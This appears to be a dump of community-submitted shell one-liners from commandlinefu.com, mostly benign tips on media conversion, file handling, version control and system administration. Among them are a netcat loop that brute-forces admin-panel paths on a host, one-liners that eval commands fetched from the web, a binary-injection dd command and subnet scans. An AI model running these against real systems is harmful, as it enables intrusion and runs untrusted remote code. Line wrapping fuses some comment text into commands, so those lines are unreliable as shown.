# Lists unambigously names of all xml elements used in files in current director
ygrep -h -o '<[^/!?][^ >]*' * | sort -u | cut -c2-
# Colorful man
/usr/bin/man man | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nomod nolist nospell nonu
# Make a directory named with the current date
mkdir `date --iso`
# Create multiple mp4 files using avidemux
for i in *;do avidemux  --video-codec Xvid4 --audio-codec mp3 --load "${i}" --save "`echo "$i" | sed -e 's/\....$//'`.done.mp4" --quit; done
# mysql DB size
mysql -u root -pPasswort -e 'select table_schema,round(sum(data_length+index_length)/1024/1024,4) from information_schema.tables group by table_schema;'
# Capture data in ASCII. 1500 bytes
tcpdump -ieth0 -n tcp port 80 -A -s1500
# Play music from youtube without download
url="$my_url";file=$(youtube-dl -s -e $url);wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame - > "$file.mp3"
# Find all files under a certain directory /home that have a certain suffix at t
he end of the file name. Show the file and rename them to remove the suffix.find /home -print -exec rename -v 's/_2009-09-04.suffix$//' {} \;
# [WinXP]Use as a shortcut in the SendTo menu to open a cmd window for a given f
older.C:\WINDOWS\system32\cmd.exe /t:0A /k cd /d
# Update program providing java on Debian
update-java-alternatives
# Debian: Mark all dependent packages as manualy installed.
sudo aptitude unmarkauto $(apt-cache depends some-deb-meta-package-name | grep Depends | cut -d: -f2)
# show rpm packages scriptlets
rpm -qp --scripts package.rpm
# Remove annoying OS X DS_Store folders
find . -name .DS_Store -exec rm {} \;
# convert plain .avi movies to .mpeg
ffmpeg -i movie.avi -y -f vcd -vcodec mpeg1video -map 0.0:0.0 -b 1150 -s 352x240 -r 29.97 -g 12 -qmin 3 -qmax 13 -acodec mp2 -ab 224 -ar 44100 -ac 2 -map 0.1:0.1 movie.mpg
# Recursive cat - concatenate files (filtered by extension) across multiple subd
irectories into one filefind . -type f -name *.ext -exec cat {} > file.txt \;
# Router discovery
sudo arp-scan 192.168.1.0/24 -interface eth0
# Monitor the queries being run by MySQL
mytop
# get absolute file path
readlink -f myfile.txt
# split a string (3)
OLD_IFS="$IFS"; IFS=: ARRAY=($PATH); echo ${ARRAY[2]}; IFS="$OLD_IFS"
# HTTP Get of a web page via proxy server with login credentials
curl -U username[:password] -x proxyserverIP:proxyserverPort webpageURI
# Give any files that don't already have it group read permission under the curr
ent folder (recursive)find . -type f ! -perm /g=r -exec chmod g+r {} +
# First pass dvd rip... The set of commands was too long, so I had to separate t
hem into two.mencoder dvd://<title> -dvd-device <device> -aid 128 -info srcform='ripped by mencoder' -oac mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts pass=1:chroma_opt:vhq=4:bvhq=1:quant_type=mpeg -vf pp=de,crop=0:0:0:0, -ofps 30000/1001 -o '/dev/null'
# Get your external IP address with a random commandlinefu.com command
IFS=$'\n';cl=($(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p}'));c=${cl[$(( $RANDOM % ${#cl[@]} ))]};eval $c;echo "Command used: $c"
# Netcat brute force on administration login panel
for i in $(cat adm);do echo -e "GET /${i} HTTP/1.0\n\r\n\r \nHost: 192.168.77.128\r\n\r\n \nConnection: close\r\n"|nc -w 1 192.168.77.128 80 |grep -i "200 OK" 2>/dev/null >/dev/null;[ $? -eq "0" ] && echo "Found ${i}" && break;echo "$i";sleep 1;done
# calculate in commandline with bash
echo $(( 1+1 ))
# Quick calculator at the terminal
echo "$math_expr" | bc -l
# Second pass dvd rip... The set of commands was too long, so I had to separate 
them into two.mencoder dvd://<title> -dvd-device <device> -aid 128 -info srcform='ripped by mencoder' -oac mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts pass=2:bitrate=-700000 -ofps 30000/1001 -o '<outputfile.avi>'
# split large video file
ffmpeg -i 100_0029.MOV -ss 00:00:00 -t 00:04:00 100_0029_1.MOV
# add static arp entry to default gateway, arp poison protection
arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | awk '/^0.0.0.0/ {print $2}'`| awk '{print $3}')
# Rip a DVD to AVI format
mencoder dvd://1 -aid 128 -o track-1.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4
# print contents of file from line 1 until we match regex
sed -n '1,/regex/p' filename
# print line and execute it in BASH
echo <command>; !#:0-$
# move messages directly from one IMAP inbox to another
mailutil appenddelete '{src.mailsrv1.com:993/imap/norsh/notls/ssl/novalidate-cert/user="username"}INBOX' '{dest.mailsrv2.com:143/imap/norsh/notls/user="username"}INBOX'
# Video thumbnail
ffmpeg -ss 5 -i video.avi -vframes 1 -s 320x240 thumb.jpg
# nohup  that doesn't generate nohup.out
nohup <command> 2> /dev/null > /dev/null &
# Replace Every occurrence of a word in a file
perl -p -i -e 's/this/that/g' filename
# Report bugs in Ubuntu
ubuntu-bug
# Get each users commit amount
svn log 2>&1 | egrep '^r[0-9]+' | cut -d "|" -f2 | sort | uniq -c
# Query Wikipedia via console over DNS
nslookup -q=txt <topic>.wp.dg.cx
# Force the script to be started as root
if [ $EUID -ne 0 ]; then if [ -t 0 ]; then exec sudo $0; else exec gksu $0; fi; fi;
# Getting the ip address of eth0
ifconfig eth0 | awk '/inet addr/ {split ($2,A,":"); print A[2]}'
# add a gpg key to aptitute package manager in a ubuntu system
wget -q http://xyz.gpg -O- | sudo  apt-key add -
# send echo to socket network
echo foo | netcat 192.168.1.2 25
# mount a cdrom
mount -t iso9660 /dev/cdrom /media/cdrom
# Netcat & Tar
Server: nc -l 1234 |tar xvfpz  -   ;Client: tar zcfp - /path/to/dir | nc localhost 1234
# List symbols from a dynamic library (.so file)
nm --dynamic <libfile.so>
# sort lines by length
awk '{print length, $0;}' | sort -nr
# Copy text to the clipboard
cat SomeFile.txt | pbcopy
# preprocess code to be posted in comments on this site
sed 's/^/$ /' "$script" | xclip
# Display Dilbert strip of the day
display http://dilbert.com$(curl -s dilbert.com|grep -Po '"\K/dyn/str_strip(/0+){4}/.*strip.[^\.]*\.gif')
# The Hidden PS
for p in `ps L|cut -d' ' -f1`;do echo -e "`tput clear;read -p$p -n1 p`";ps wwo pid:6,user:8,comm:10,$p kpid -A;done
# add repeated watermark to image
composite -dissolve 30% -tile watermark.png input.png output.png
# Check if a remote port is up using dnstools.com (i.e. from behind a firewall/p
roxy)cpo(){ [[ $# -lt 2 ]] && echo 'need IP and port' && return 2; [[ `wget -q "http://dnstools.com/?count=3&checkp=on&portNum=$2&target=$1&submit=Go\!" -O - |grep -ic "Connected successfully to port $2"` -gt 0 ]] && return 0 || return 1; }
# Display total Kb/Mb/Gb of a folder and each file
du -hc *
# Find Files That Exceed a Specified Size Limit
find directory -size +nnn
# get diskusage of files modified during the last n days
sudo find /var/log/ -mtime -7 -type f | xargs du -ch | tail -n1
# prints line numbers
ls | sed "/^/=" | sed "N;s/\n/. /"
# grab all commandlinefu shell functions into a single file, suitable for sourci
ng.curl -s http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25] | grep -oP "^\w+\(\)\ *{.*}"
# Count lines of code across multiple file types, sorted by least amount of code
 to greatestfind . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} + | sort -n
# Get the size of all the directories in current directory
du -hd 1
# find an unused unprivileged TCP port
(netstat  -atn | awk '{printf "%s\n%s\n", $4, $4}' | grep -oE '[0-9]*$'; seq 32768 61000) | sort -n | uniq -u | head -n 1
# Display top Keywords from history
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n | tail | sort -nr
# Randomize lines (opposite of | sort)
sort -R
# password recovery on debian
init=/bin/bash; mount -o remount,rw /
# print java packages by using unix tree and sed
tree -d -I 'CVS' -f -i | sed 's/\//./g' | sed 's/\.\.//g'
# Find and delete thunderbird's msf files to make your profile work quickly agai
n.find ~/.thunderbird/*.default/ -name *.msf -exec rm -f {} \;
# quick and dirty formatting for HTML code
sed -r 's_(/[^>]*?>)_\1\n_g' filename.html
# Display your ${PATH}, one directory per line
echo $PATH | tr : \\n
# copies 20 most recently downloaded mp3 files (such as from Miro) into a direct
oryfind . -name \*.mp3 -printf "%C+ %h/%f\n" | sort -r | head -n20 | awk '{print "\""$2"\""}' | xargs -I {} cp {} ~/tmp
# import gpg key from the web
curl -s http://defekt.nl/~jelle/pubkey.asc | gpg --import
# Count the number of pages of all PDFs in current directory and all subdirs, re
cursivelyfind . -name \*.pdf -exec pdfinfo {} \; | grep Pages | sed -e "s/Pages:\s*//g" | awk '{ sum += $1;} END { print sum; }'
# Outputs a 10-digit random number
head -c4 /dev/urandom | od -N4 -tu4 | sed -ne '1s/.* //p'
# convert a latex source file (.tex)  into opendocument (.odt ) format
htlatex MyFile.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate"
# Resets a terminal that has been messed up by binary input
reset
# Repeatedly send a string to stdout-- useful for going through "yes I agree" sc
reensyes "text" | annoying_installer_program # "text" defaults to the letter y
# remove audio trac from a video file
mencoder -ovc copy -nosound ./movie.mov -o ./movie_mute.mov
# OSX command to take badly formatted xml from the clipboard, cleans it up and p
uts it back into the clipboard.pbpaste | tidy -xml -wrap 0 | pbcopy
# Check a server is up. If it isn't mail me.
ping -q -c1 -w3 server.example.com >& /dev/null || echo server.example.com ping failed | mail -ne -s'Server unavailable' [email protected]
# bash alias for sdiff: differ
alias differ='sdiff --suppress-common-lines'
# Deal with dot files safely
rm -r .[!.]*
# How to stop MAC Address via IPTables
-A INPUT -i eth1 -m mac ?mac 00:BB:77:22:33:AA -j ACCEPT
# Format date/time string for a different day
date --date=yesterday +%Y%m%d
# Drop or block attackers IP with null routes
sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo
# Determine the version of a specific package with RPM
rpm -q --qf "%{VERSION}\n" redhat-release
# Do one ping to a URL,  I use this in a MRTG gauge graph to monitor connectivit
yping -q -c 1 www.google.com|awk -F/ 'END{print $5}'
# sort through source to find most common authors
find . -type f -name "*.java" -print0 | xargs -0 -n 1 svn blame | sed -n 's/^[^a-z]*\([a-z]*\).*$/\1/p' | sort | uniq -c | sort -n
# Testing php configuration
php -r phpinfo();
# 1+2-3+4-5+6-7 Series
seq 1000 | paste -sd+- | bc
# List apache2 virtualhosts
/usr/sbin/apache2ctl -S 2>&1 | perl -ne 'm@.*port\s+([0-9]+)\s+\w+\s+(\S+)\s+\((.+):.*@ && do { print "$2:$1\n\t$3\n"; $root = qx{grep DocumentRoot $3}; $root =~ s/^\s+//; print "\t$root\n" };'
# dstat- this command is powerful one to monitor system activity . It has combin
ed the power of vmstat,iostat,mpstat,df,free,sar .dstat -afv
# Create a temporary file
tempfile=$(/bin/mktemp)
# Find directory depth
find . -printf '%d\n' | sort -n  | tail -1
# 1:1 copy of a volume
find / -xdev -print | cpio -pdmuv /mnt/mydisk
# Burn CD/DVD from an iso, eject disc when finished.
cdrecord dev=0,0,0 -v -eject yourimage.iso
# Which Twitter user are you?
curl -s http://twitter.com/username | grep 'id="user_' | grep -o '[0-9]*'
# Forwards connections to your port 2000 to the port 22 of a remote host via ssh
 tunnelssh -NL 2000:remotehost:22 remotehost
# %s across multiple files with Vim
:set nomore   :argdo %s/foo/bar/g | update
# geoip information
GeoipLookUp(){ curl -A "Mozilla/5.0" -s "http://www.geody.com/geoip.php?ip=$1" | grep "^IP.*$1" | html2text; }
# List contents of jar
jar -tf file.jar
# Validate date, also a date within a leap year
date -d2009-05-18 > /dev/null 2>&1 ; echo $?
# Setting reserved blocks percentage to  1%
sudo tune2fs -m 1 /dev/sda4
# Cleanly manage tempfiles in scripts
TMPROOT=/tmp; TMPDIR=$(mktemp -d $TMPROOT/somedir.XXXXXX); TMPFILE=$(mktemp $TMPROOT/somefile.XXXXXX); trap "rm -rf $TMPDIR $TMPFILE; exit" INT TERM EXIT; some treatment using $TMPDIR and $TMPFILE; exit 0
# restart apache only if config works
alias restart='apache2ctl configtest && apache2ctl restart'
# Remove text from file1 which is in file2 and stores it in an other file
grep -Fvf file1 file2 > file-new
# Concatenates lines using sed
sed -e :a -e '/$/N;s/\n/ /;ta' <filename>
# show the working directories of running processes
lsof -bw -d cwd -a -c java
# convert all files in a dir of a certain type to flv
for f in *.m4a; do ffmpeg -i "$f" "${f%.m4a}.flv"; done
# Vlc ncurses mode browsing local directorys.
vlc -I ncurses <MEDIA_DIR>
# Shows what processes need to be restarted after system upgrade
checkrestart
# Set laptop display brightness
echo <percentage> | sudo dd of=/proc/acpi/video/VGA/LCD/brightness
# check open ports (both ipv4 and ipv6)
lsof -Pn | grep LISTEN
# Getting started with tcpdump
tcpdump -nli eth0; tcpdump -nli eth0 src or dst w.x.y.z; tcpdump -nli eth0 port 80; tcpdump -nli eth0 proto udp
# Disconnect telnet
telnet somehost 1234, <ctrl+5> close
# Combine cssh and shell expansion to execute commands on a large cluster
cssh 192.168.125.{1..200}
# rotate a one page pdf to 90 Degrees Clockwise
pdftk pdfname.pdf cat 1E  output outputname.pdf
# Set executable permissions on a file under Subversion
svn propset svn:executable ON filename
# Email HTML content
mailx [email protected] -s "HTML Hello" -a "Content-Type: text/html" < body.htm
# Matrix Style
while true ; do IFS="" read i; echo "$i"; sleep .01; done < <(tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]")
# Create a tar file with the current date in the name.
tar cfz backup-$(date --iso).tar.gz somedirs
# Display information sent by browser
nc -l 8000
# Get info on RAM Slots and Max RAM.
dmidecode 2.9 | grep "Maximum Capacity"; dmidecode -t 17 | grep Size
# Outputs a 10-digit random number
tr -c -d 0-9 < /dev/urandom | head -c 10
# determine if tcp port is open
if (nc -zw2 www.example.com 80); then echo open; fi
# find duplicate processes
ps aux | sort --key=11 | uniq -c -d --skip-fields=10 | sort -nr --key=1,1
# delete unversioned files in a checkout from svn
svn st | grep "^\?" | awk "{print \$2}" | xargs rm -rf
# get delicious bookmarks on your shell (text version :-))
curl -u 'username'   https://api.del.icio.us/v1/posts/all   |  sed 's/^.*href=//g;s/>.*$//g;s/"//g' | awk '{print $1}' | grep 'http'
# Preview of a picture in a terminal
img test.jpg
# determine if a shared library is compiled as 32bit or 64bit
libquery=/lib32/libgcc_s.so.1; if [ `nm -D $libquery | sed -n '/[0-9A-Fa-f]\{8,\}/ {p; q;}' | grep "[0-9A-Fa-f]\{16\}" | wc -l` == 1 ]; then echo "$libquery is a 64 bit library"; else echo "$libquery is a 32 bit library"; fi;
# Is today the last day of the month?
[ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month' && echo 'not end of month'
# Wait for an already launched program to stop before starting a new command.
wait $!
# Displaying system temperature
cat /proc/acpi/thermal_zone/THRM/temperature
# GIT: list unpushed commits
git log --oneline <REMOTE>..<LOCAL BRANCH>
# Replace multiple spaces with semicolon
sed "s/\s\+/;/g;s/^ //;s/ $//" filename.csv
# Spell check the text in clipboard (paste the corrected clipboard if you like)
xclip -o > /tmp/spell.tmp; aspell check /tmp/spell.tmp ; cat /tmp/spell.tmp | xclip
# Calculate N!
echo $(( $(echo 1 "* "{2..10}) ))
# Mount important virtual system directories under chroot'ed directory
for i in sys dev proc; do sudo mount --bind /$i /mnt/xxx/$i; done
# Both view and pipe the file without saving to disk
cat /path/to/some/file.txt | tee /dev/pts/0 | wc -l
# delete multiple files from git index that have already been deleted from disk
git status | grep deleted | awk '{print $3}' | xargs git rm
# Recover cvs ": no such repository" error
find ./* -name 'CVS' | awk '{print "dos2unix " $1 "/*"}' | awk '{system($0)}'
# Deleting Files from svn which are missing
svn status | grep '!' | sed 's/!/ /' | xargs svn del --force
# Get current Xorg resolution via xrandr
$ xrandr -q|perl -F'\s|,' -lane "/^Sc/&&print join '',@F[8..10]"
# Convert numbers to SI notation
$ awk '{ split(sprintf("%1.3e", $1), b, "e"); p = substr("yzafpnum_kMGTPEZY", (b[2]/3)+9, 1); o = sprintf("%f", b[1] * (10 ^ (b[2]%3))); gsub(/\./, p, o); print substr( gensub(/_[[:digit:]]*/, "", "g", o), 1, 4); }' < test.dat
# Fetch the Gateway Ip Address
ip route list match 0.0.0.0/0 | cut -d " " -f 3
# 5 Which Aliases
alias whichall='{ command alias; command declare -f; } | command which --read-functions --read-alias -a'
# Find out current working directory of a process
echo COMMAND | xargs -ixxx ps -C xxx -o pid= | xargs -ixxx ls -l /proc/xxx/cwd
# Binary injection
echo -n $HEXBYTES | xxd -r -p | dd of=$FILE seek=$((0x$OFFSET)) bs=1 conv=notrunc
# Your name backwards
espeak "$USER" --stdout | sox - -t mp3 - reverse | mpg123 -
# Change every instance of OLD to NEW in file FILE
sed -i 's/OLD/NEW/g' FILE
# positions the mysql slave at a specific master position
slave start; SELECT MASTER_POS_WAIT('master.000088','8145654'); slave stop;
# SMS reminder
echo 'mail -s "Call your wife" [email protected]' |at now+15min
# Create passwords and store safely with gpg
tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 | gpg -e -r [email protected] > password.gpg
# Search through all installed packages names (on RPM systems)
rpm -qa \*code\*
# Archive all SVN repositories in platform indepenent form
find repMainPath -maxdepth 1 -mindepth 1 -type d | while read dir; do echo processing $dir; sudo svnadmin dump --deltas $dir >dumpPath/`basename $dir`; done
# Diff files over SSH
Diff files over SSH: ssh [login]@[host] "cat [remote file]" | diff - "[local file]"
# Tail a log file with long lines truncated
tail -f logfile.log | cut -b 1-80
# Log the current memory statistics frequently to syslog
while true; do { $(which logger) -p local4.notice `free -m | grep Mem`; sleep 60; } done &
# Convert multiple flac files to mp3
for file in *.flac; do $(flac -cd "$file" | lame -h - "${file%.flac}.mp3"); done
# extract content of a Debian package
ar -x package.deb
# Output system statistics every 5 seconds with timestamp
while [ 1 ]; do echo -n "`date +%F_%T`" ; vmstat 1 2 | tail -1 ; sleep 4; done
# Archive all SVN repositories in platform indepenent form
budir=/tmp/bu.$$;for name in repMainPath/*/format;do dir=${name%/format};bufil=dumpPath/${dir##*/};svnadmin hotcopy --clean-logs $dir $budir;svnadmin dump --delta $budir>$bufil;rm -rf $budir;done
# Functions to display, save and restore $IFS
ifs () { echo -n "${IFS}"|hexdump -e '""  10/1 "'\''%_c'\''\t" "\n"' -e '"" 10/1 "0x%02x\t" "\n\n"'|sed "s/''\|\t0x[^0-9]//g; $,/^$/d"
# find co-ordinates of a location
findlocation() { place=`echo $1 | sed 's/ /%20/g'` ; curl -s "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e "coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';}
# Remove all HTML tags from a file
awk '{gsub("<[^>]*>", "")}1' file
# Watch the National Debt clock
watch -n 10  "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif | sed -e 's/.*ALT=\"//' -e 's/\".*//' -e 's/ //g'"
# Get lines count of a list of files
find . -name "*.sql" -print0 | wc -l --files0-from=-
# Check whether laptop is running on battery or cable
cat /proc/acpi/ac_adapter/AC0/state
# List just the executable files (or directories) in current directory
ls -F | grep '*$'
# bulk rename files with sed, one-liner
ls * | sed -e 'p;s/foo/bar/' | xargs -n2 mv
# Translate your terminal into Swedish Chef
perl -e '$b="bork"; while(<STDIN>){$l=`$_ 2>&1`; $l=~s/[A-Za-z]+/$b/g; print "$l$b\@$b:\$ ";}'
# Display a Lissajous curve in text
ruby -rcurses -e"include Curses;i=0;loop{setpos 12*(Math.sin(i)+1),40*(Math.cos(i*0.2)+1);addstr'.';i+=0.01;refresh}"
# Export a directory to all clients via NFSv4, read/write.
exportfs -o fsid=0,rw :/home/jason
# convert filenames in current directory to lowercase
find my_root_dir -depth -exec rename 's/(.*)\/([^\/]*)/$1\/\L$2/' {} \;
# slow down CPU and IO for process and its offsprings.
slow2() { ionice -c3 renice -n 20 $(pstree `pidof $1` -p -a -u -A|gawk 'BEGIN{FS=","}{print $2}'|cut -f1 -d " ") ; }
# Wait the end of prog1 and launch prog2
pkill -0 prog1; while [ $? -eq 0 ]; do sleep 10; pkill -0 prog1; done; prog2
# put current directory in LAN quickly
python -m SimpleHTTPServer
# find system's indianness
python -c "import sys;print (sys.byteorder) + ' endian'"
# Add "prefix" on a buch of files
for a in *; do mv $a prefix${a}; done
# A snooze button for xmms2 alarm clock
xmms2 pause && echo "xmms2 play" | at now +5min
# Encode/Decode text to/from Base64 on a Mac w/out Mac Ports
openssl base64 -in base64.decoded.txt -out base64.encoded.txt
# Delete all but the latest 5 files
ls -t | tail +6 | xargs rm
# Remove all unused kernels with apt-get
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
# Create a DOS floppy image
dd if=/dev/zero bs=1024 count=1440 > floppy.img && mkdosfs floppy.img
# Display condensed log of changes to current git repository
git log --pretty=oneline
# download all the presentations from UTOSC2010
b="http://2010.utosc.com"; for p in $( curl -s $b/presentation/schedule/ | grep /presentation/[0-9]*/ | cut -d"\"" -f2 ); do f=$(curl -s $b$p | grep "/static/slides/" | cut -d"\"" -f4); if [ -n "$f" ]; then echo $b$f; curl -O $b$f; fi done
# send a file or directory via ssh compressing with lzma for low trafic
tar -cf - ./file | lzma -c | ssh user@sshserver $(cd /tmp; tar --lzma -xf -)
# user 'tr' to convert mixed case in a file to lower case
tr "[:upper:]" "[:lower:]" < file
# Sort movies by length, longest first
find -name '*.avi' | while read i ; do echo $(mplayer -identify -frames 0 -vo null -nosound "$i" 2>&1 | grep ID_LENGTH | cut -d= -f2)" ""$i" ;done | sort -k1 -r -n | sed 's/^\([^\ ]*\)\ \(.*\)$/\2:\1/g'
# Find C/C++ source files
find . -name '*.[c|h]pp' -o -name '*.[ch]' -type f
# Suppress output of loud commands you don't want to hear from
quietly() { "$@" > /dev/null 2>&1; }
# display a one-liner of current nagios exit statuses. great with netcat/irccat
grep current_state= /var/log/nagios/status.dat|sort|uniq -c|sed -e "s/[\t ]*\([0-9]*\).*current_state=\([0-9]*\)/\2:\1/"|tr "\n" " "
# Colored cal output
alias cal='cal | grep --color=auto -E "( |^)$(date +%e)|$"'
# modify a file in place with perl
perl -pi -e 's/THIS/THAT/g' fileglob*
# Shorten any Url using bit.ly API, using your API Key which enables you to Trac
k Clickscurl "http://api.bit.ly/shorten?version=2.0.1&longUrl=<LONG_URL_YOU_WANT_SHORTENED>&login=<YOUR_BITLY_USER_NAME>&apiKey=<YOUR_API_KEY>"
# Stop long commands wrapping around and over-writing itself in the Bash shell
shopt -s checkwinsize
# history manipulation
!-2 && !-1
# Deploy git server repo
apt-get -y install git-core gitosis; adduser --home /home/git --gecos "git user" git; su git -c "ssh-keygen -t rsa -f /home/git/.ssh/id_rsa; gitosis-init < ~/.ssh/id_rsa"
# Record MP3 audio via ALSA using ffmpeg
ffmpeg -f alsa -ac 2 -i hw:1,0 -acodec libmp3lame -ab 96k output.mp3
# copy ACL of one file to another using getfacl and setfacl
getfacl <file-with-acl> | setfacl -f - <file-with-no-acl>
# A function to find the newest file in a directory
find /path/to/dir  -type f -printf "%T@|%p\n" 2>/dev/null | sort -n | tail -n 1| awk -F\| '{print $2}'
# Serve the current directory at http://localhost:8000/
python -m SimpleHTTPServer
# Check whether laptop is running on battery or cable
acpi -b
# Get a list of ssh servers on the local subnet
nmap -p 22 --open -sV 192.168.2.0/24
# dump database from postgresql to a file
pg_dump -Ft -b -Uusername -hdb.host.com db_name > db.tar
# Instant mirror from your laptop + webcam
cvlc  v4l2:// :vout-filter=transform :transform-type=vflip :v4l2-width=320 :v4l2-height=240 -f &
# Calculate 1**2 + 2**2 + 3**2 + ...
seq -f"%g^2" -s "+" 10 | bc
# Combine all .mpeg files in current directory into one big one.
cat *.mpg > all.mpg
# show the real times iso of epochs for a given column
perl -F' ' -MDate::Format -pale 'substr($_, index($_, $F[1]), length($F[1]), time2str("%C", $F[1]))' file.log
# Decode a MIME message
munpack file.txt
# Recursive grep of all c++ source under the current directory
find . -name '*.?pp' | xargs grep -H "string"
# Generate trigonometric/log data easily
echo "e("{1..8}");" | bc -l
# "I Feel Lucky" for Google Images
echo -n "search> ";read QUERY && wget -O - `wget -O - -U "Mozilla/5.0" "http://images.google.com/images?q=${QUERY}" 2>/dev/null |sed -e 's/","http/\n","http/g' |awk -F \" '{print $3}' |grep -i http: |head -1` > "$QUERY"
# Find
xwininfo
# Speed up the keyboard repeat rate in X server
xset r rate 250 120
# Get Unique Hostnames from Apache Config Files
cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s ' ' | sed 's/^\s//' | cut -d ' ' -f 2 | sed 's/www.//' | sort | uniq
# Rename all files which contain the sub-string 'foo', replacing it with 'bar'
rename 's/foo/bar/g' ./*
# compare two Microsoft Word documents
meld <(antiword microsoft_word_a.doc) <(antiword microsoft_word_b.doc)
# Pick a random line from a file
sort -R file.txt | head -1
# show todays svn log
svn log --revision {`date +%Y-%m-%d`}:HEAD
# Pronounce an English word using Merriam-Webster.com
cmd=$(wget -qO- "http://www.m-w.com/dictionary/$(echo "$@"|tr '[A-Z]' '[a-z]')" | sed -rn "s#return au\('([^']+?)', '([^'])[^']*'\);.*#\nwget -qO- http://cougar.eb.com/soundc11/\2/\1 | aplay -q#; s/[^\n]*\n//p"); [ "$cmd" ] && eval "$cmd" || exit 1
# Recover resolution when a fullscreen program crashes and you're stuck with a t
iny X resolutionxrandr -s 0
# List all the files that have been deleted while they were still open.
lsof | egrep "^COMMAND|deleted"
# Run skype using your GTK theme
skype --disable-cleanlooks -style GTK
# Determine space taken by files of certain type
find . -name <pattern> -ls | awk 'BEGIN {i=0}; {i=i+$7}; END {print i}'
# Double your disk read performance in a single command
blockdev --setra 1024 /dev/sdb
# force unsupported i386 commands to work on amd64
setarch i386 [command [args]]
# Find files recursively that were updated in the last hour ignoring SVN files a
nd folders.find . -mmin -60 -not -path "*svn*" -print|more
# Comma insertions
perl -pe '$_=reverse;s/\d{3}(?=\d)(?!.*?\.)/$&,/g;$_=reverse'
# Create subversion undo point
function svnundopoint() { if [ -d .undo ]; then r=`svn info | grep Revision | cut -f 2 -d ' '` && t=`date +%F_%T` && f=${t}rev${r} && svn diff>.undo/$f && svn stat>.undo/stat_$f; else echo Missing .undo directory; fi }
# Convert ascii string to hex
echo -n "text" | od -A n -t x1 |sed 's/ /\\x/g'
# Remove comments and empty lines from a conf file
grep ^[^#] /etc/file.conf
# Binary search/replace
xxd < orig | sed 's/A/B/' | sed 's/HEXA/HEXB/' | xxd -r > new
# Google Translate
cmd=$( wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; );  echo "$cmd"
# Convert DOS newlines (CR/LF) to Unix format
sed 's/^M$//' input.txt > output.txt
# Show (only) list of files changed by commit
git show --relative --pretty=format:'' --name-only HASH
# format txt as table
cat /etc/passwd | column -nts:
# listen to ram
cat /dev/mem > /dev/audio
# Remove all unused kernels with apt-get
aptitude remove ?and(~i~nlinux-(im|he) ?not(~n`uname -r`))
# Get a list of ssh servers on the local subnet
nmap -p 22 10.3.1.1/16 | grep -B 4 "open"
# Transform a portrait pdf in a landscape one with 2 pages per page
pdfnup --nup 2x1 --frame true --landscape --outfile output.pdf input.pdf
# Generate a random password 30 characters long
pwgen 30 1
# find string into one pdf file
find / -iname '*.pdf' -print -exec pdftotext '{}' - \; | grep --color -i "unix"
# get a process list by listen port
netstat -ntlp | grep -w 80 | awk '{print $7}' | cut -d/ -f1
# (Git) Revert files with changed mode, not content
git diff --numstat | awk '{if ($1 == "0" && $2 == "0") print $3}'  | xargs git checkout HEAD
# Get your public ip
curl -s http://sputnick-area.net/ip
# OpenDns IP update via curl
curl -i -m 60 -k -u user:password 'https://updates.opendns.com/account/ddns.php?'
# Extracting frames from a video as jpeg files
mplayer -ao null -sid 999 -ss 00:15:45 -endpos 10 filename.avi -vo jpeg:outdir=out_frames
# remove execute bit only from files. recursively
find . -type f -exec chmod -x {} \;
# Print trending topics on Twitter
wget http://search.twitter.com/trends.json -O - --quiet | ruby -rubygems -e 'require "json";require "yaml"; puts YAML.dump(JSON.parse($stdin.gets))'
# Change to $HOME - zsh, bash4
~
# Symlink all files from a base directory to a target directory
for f in $(ls -d /base/*); do ln -s $f /target; done && ls -al /target
# rsync + find
rsync -avz -e ssh --files-from=<(find -mtime +30 -mtime -60) source dest
# Change files case, without modify directories, recursively
find ./ -name '*.JPG' -type f -execdir rename -f 'y/A-Z/a-z/' {} \+
# Print all fields in a file/output from field N to the end of the line
cut -f N- file.dat
# Collect a lot of icons from /usr/share/icons (may overwrite some, and complain
 a bit)mkdir myicons && find /usr/share/icons/ -type f | xargs cp -t myicons
# how to export a table in .csv file
mysql -u[username] -p[password] [nome_database] -B -e "SELECT * FROM [table] INTO OUTFILE '/tmp/ca.csv' FIELDS TERMINATED BY ',' LINES TERMINATED BY '\n';
# Collect a lot of icons from /usr/share/icons (may overwrite some, and complain
 a bit)mkdir myicons; find /usr/share/icons/ -type f -exec cp {} ./myicons/ \;
# use SHIFT + ALT to toggle between two keyboard layouts
setxkbmap -option grp:switch,grp:alt_shift_toggle,grp_led:scroll us,es
# Simple complete system backup excluding files or directories
tar zcpf backup.tgz --exclude=/proc --exclude=backup.tgz /
# Display kernel profile of currently executing functions in Solaris.
lockstat -I -i 977 -s 30 -h sleep 1 > /tmp/profile.out
# Reinstall Grub
sudo grub-install --recheck /dev/sda1
# Lists the size of certain file in every 10 seconds
watch -n 10 'du -sk testfile'
# Get the list of local files that changed since their last upload in an S3 buck
